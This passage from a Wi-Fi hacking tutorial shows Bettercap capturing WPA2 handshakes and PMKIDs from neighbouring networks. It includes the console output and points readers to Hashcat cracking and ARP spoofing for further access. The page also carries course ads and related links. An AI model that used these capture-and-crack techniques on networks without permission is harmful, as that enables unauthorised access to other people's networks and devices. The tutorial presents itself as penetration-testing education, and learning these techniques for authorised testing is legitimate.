wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcapNow that we've tried both tools, let's take a look at our results withwifi.show. We should, if we're lucky, see more networks in red. While there are no colors below, five of them were indeed red.wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:04:36 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:04:34 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:04:34 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:04:32 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:36 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:04:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:04:36 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:36 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:04:37 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:04:31 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:04:32 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:04:34 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:04:34 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:04:38 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:04:38 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:39 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:39 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 45 kB / ↓ 8.9 MB / 38377 pkts / 3 handshakesBy running both modules, we were able to grab the information we need for five out of the ten closest Wi-Fi networks. That's pretty impressive. If we open the file Bettercap generated from these captures, we can see the information Bettercap has saved for us to crack in another program.There we go! With Bettercap, we can capture the signals we need from Wi-Fi networks to brute-force weak passwords. You can follow our guide onhandshake cracking with Hashcatto try brute-forcing the passwords.Don't Miss:Cracking WPA2 Passwords with the PMKID Hashcat AttackBettercap Is the Swiss Army Knife of Wi-Fi HackingBettercap is an essential part of any hacker's toolkit, especially for the ability to run smoothly on low-cost devices like a Raspberry Pi. With Bettercap's ability to quickly discover low-hanging fruit like weak network passwords, you can use it to gain further access to devices on a network through ARP spoofing and poisoning in other Bettercap modules.Make sure only to use the active modules of Bettercap on networks you have permission to use, but the recon modules are fine to use virtually anywhere. With enough patience, Bettercap will simply record handshakes when users connect to the network naturally, without needing to attack the network at all.I hope you enjoyed this guide to using Betterecap to hack Wi-Fi networks! If you have any questions about this tutorial, there's the comments section below, and feel free to follow me on Twitter@KodyKinzie.Don't Miss:How to Target Bluetooth Devices with BettercapWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Target Bluetooth Devices with BettercapAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Automate Wi-Fi Hacking with Wifite2How To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHacking Android:How to Create a Lab for Android Penetration TestingHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Pick an Antenna for Wi-Fi HackingHow To:Find Your Misplaced iPhone Using Your Apple Watch